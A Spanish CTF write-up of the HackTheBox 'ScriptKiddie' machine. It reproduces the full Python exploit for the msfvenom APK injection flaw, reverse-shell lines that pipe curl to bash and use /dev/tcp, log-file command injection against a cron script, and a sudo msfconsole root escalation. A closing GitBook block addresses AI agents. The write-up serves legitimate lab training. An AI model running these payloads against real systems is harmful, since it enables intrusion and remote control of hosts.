> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/linux-easy/scriptkiddie-hackthebox-writeup.md).

# Writeup de Scriptkiddie en HackTheBox

{% embed url="<https://app.hackthebox.com/machines/ScriptKiddie>" %}

{% hint style="warning" %}
Habilidades:

* Explotación de Msfvenom (CVE-2020-7384) (RCE)
* Abuso de logs + tarea cron (inyección de comandos y pivotación de usuario)
* Abuso del privilegio Sudoers (escalada de privilegios con Msfconsole)
  {% endhint %}

## Reconocimiento

**Configuración del espacio de trabajo:**

Configura el espacio de trabajo creando tres carpetas para almacenar contenido importante, exploits y resultados de reconocimiento de Nmap.

<figure><img src="/files/4572586fabef94311267899f72b1a20190dadbc6" alt="" width="563"><figcaption></figcaption></figure>

**Comprobación de conectividad VPN**

Comprueba la conectividad VPN para asegurar una comunicación estable con la máquina objetivo.

<figure><img src="/files/b81b68c2959a93b256ed6f70e3e84c4bbd895f14" alt="" width="563"><figcaption></figcaption></figure>

**Descubrimiento de puertos abiertos con Nmap:**

Enumera los puertos abiertos y exporta los resultados al archivo "allPorts" en el directorio de Nmap:

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.10.226 -oG allPorts
```

<figure><img src="/files/47a1e7fe70e19a2a755f11cd88e24a3b66d9640a" alt=""><figcaption></figcaption></figure>

**Escaneo de versiones de puertos con Nmap:**

Usa Nmap para escanear las versiones de los servicios y guardar la salida en el archivo "targeted":

```bash
nmap -sCV -p22,5000 10.10.10.226 -oN targeted
```

<figure><img src="/files/aa8037c680bcdc0f89f1bae6aabf3d5a2f08f011" alt=""><figcaption></figcaption></figure>

## Puerto 5000 - Explotación TCI de APK con Msfvenom

<figure><img src="/files/427a6edcde3d9fb3f8e940deb5f21cfe13c13e71" alt=""><figcaption></figcaption></figure>

Identificamos un servicio vulnerable ejecutándose en el puerto 5000.

<figure><img src="/files/203d820489eaee8012126e16e007bf2ad27e65c1" alt=""><figcaption></figcaption></figure>

Realizamos una búsqueda de vulnerabilidades asociadas:

```bash
searchsploit -m multiple/local/49491.py
```

Encontramos una posible inyección a través de APK.

<figure><img src="/files/f646987cfb1a5e29ddfdb30fa5e39867dafaf1d2" alt="" width="557"><figcaption></figcaption></figure>

**Script de exploit (msfvenom-exploit.py)**

```bash
python3 msfvenom-exploit.py
```

```python
#!/usr/bin/env python3
import subprocess
import tempfile
import os
from base64 import b64encode

# Cámbiame
payload = 'ping 10.10.14.50'

# b64encode para evitar badchars (keytool es quisquilloso)
payload_b64 = b64encode(payload.encode()).decode()
dname = f"CN='|echo {payload_b64} | base64 -d | /bin/bash #"

print(f"[+] Fabricando un apkfile malicioso")
print(f"Payload: {payload}")
print(f"-dname: {dname}")
print()

tmpdir = tempfile.mkdtemp()
apk_file = os.path.join(tmpdir, "evil.apk")
empty_file = os.path.join(tmpdir, "empty")
keystore_file = os.path.join(tmpdir, "signing.keystore")
storepass = keypass = "password"
key_alias = "signing.key"

# Crear empty_file
open(empty_file, "w").close()

# Crear apk_file
subprocess.check_call(["zip", "-j", apk_file, empty_file])
# Generar clave de firma con -dname malicioso
subprocess.check_call(["keytool", "-genkey", "-keystore", keystore_file, "-alias", key_alias, "-storepass", storepass,
                       "-keypass", keypass, "-keyalg", "RSA", "-keysize", "2048", "-dname", dname])

# Firmar el APK usando nuestro dname malicioso
subprocess.check_call(["jarsigner", "-sigalg", "SHA1withRSA", "-digestalg", "SHA1", "-keystore", keystore_file,
                       "-storepass", storepass, "-keypass", keypass, apk_file, key_alias])

print()
print(f"[+] ¡Hecho! apkfile está en {apk_file}")
print(f"Haz: msfvenom -x {apk_file} -p android/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -o /dev/null")
```

El script genera un archivo temporal que contiene un APK malicioso.

<figure><img src="/files/6f38a9d8de5eff91126f15b18fae8fc586e52c49" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/073c92cb2b3b72353cbea42c4fcfbbdd980abc53" alt=""><figcaption></figcaption></figure>

**Análisis de paquetes ICMP**

Monitorizamos la actividad de red para detectar respuesta:

```bash
tcpdump -i tun0 icmp -n
```

<figure><img src="/files/44aa07bcd7bd7fcdd673635c0e788fd09060b4c7" alt=""><figcaption></figcaption></figure>

### **Explotación de RCE con Msfvenom**

Modificamos la carga útil para establecer una conexión inversa:

```bash
# Cámbiame
payload = 'curl 10.10.14.50 | bash'
```

Creamos un `index.html` archivo que contiene:

```bash
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.50/443 0>&1
```

Iniciamos un servidor HTTP:

```bash
python3 -m http.server 80
```

Luego, escuchamos la conexión en el puerto 443:

```bash
nc -nlvp 443
```

Una vez que la APK se envía y se ejecuta en la máquina objetivo, obtenemos una shell remota.

<figure><img src="/files/d8a637c3963302349052ce55cf4f94b79ad676fe" alt=""><figcaption></figcaption></figure>

#### Estamos mejorando nuestra terminal para una mejor interactividad:

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

### Bandera user.txt :)

<figure><img src="/files/3b163e95a470288f83e48c725e0aa734551e4be9" alt="" width="563"><figcaption></figcaption></figure>

## **Escalada de privilegios**

### Pivotar al usuario pwn

Encontramos un script `scanlosers` en el directorio del usuario `pwn`:

```bash
#!/bin/bash

log=/home/kid/logs/hackers

cd /home/pwn/
cat $log | cut -d' ' -f3- | sort -u | while read ip; do
    sh -c "nmap --top-ports 10 -oN recon/${ip}.nmap ${ip} 2>&1 >/dev/null" &
hecho

if [[ $(wc -l < $log) -gt 0 ]]; then echo -n > $log; fi
```

Este script procesa registros y ejecuta `nmap`, lo que podría explotarse para una escalada de privilegios.

<figure><img src="/files/4a798bc7a4400db74ca7ebcd062fdfee60e96f9d" alt=""><figcaption></figcaption></figure>

La idea es inyectar un comando aprovechando el filtrado por la tercera palabra. Podemos insertar un punto y coma `;` seguido de un comando malicioso, como `curl` a un servidor controlado por el atacante.

```bash
echo "[2024-03-05 20:20:20] 127.0.0.1; curl http://10.10.14.50 #" > /home/kid/logs/hackers
```

Esto da como resultado una solicitud HTTP a nuestro servidor.

<figure><img src="/files/c59051e713dc1e031a3a37feb192a959ccb02228" alt=""><figcaption></figcaption></figure>

Escuchamos en nuestra máquina con:

```bash
nc -nlvp 443
```

Luego, inyectamos un comando para obtener una shell remota:

```bash
echo "[2024-03-05 20:20:20] 127.0.0.1; curl http://10.10.14.50 | bash #" > /home/kid/logs/hackers
```

<figure><img src="/files/f759aef5cd359a2fc355d77dc6f1290e1e7125fa" alt=""><figcaption></figcaption></figure>

### Sudo - Metasploit

Comprobamos el `sudo` los permisos:

```bash
sudo -l
```

<figure><img src="/files/21da2e5dcdcb9aa224438f48e93016f03586f11a" alt=""><figcaption></figcaption></figure>

Descubrimos que podemos ejecutar `Metasploit` como `root`:

```bash
sudo /opt/metasploit-framework-6.0.9/msfconsole
```

<figure><img src="/files/f3d39e46abd3c341afe4d1be79879ccef1e73056" alt=""><figcaption></figcaption></figure>

En `msfconsole`, abrimos una shell interactiva de Ruby:

```ruby
irb
```

Luego ejecutamos una shell de Bash:

```ruby
system("/bin/bash")
```

Ahora somos `root` y podemos leer la `root.txt` ¡flag! 🎉

<figure><img src="/files/d8a558d85d7bdcd2fe9a73d991d02444c482b85d" alt=""><figcaption></figcaption></figure>

### Bandera root.txt :)

<figure><img src="/files/da42b8b886a471443c0cdd0e1a76dfa68c18d297" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/312764ab819def8c46ab5d5db6585144a3642de2" alt="" width="563"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/linux-easy/scriptkiddie-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
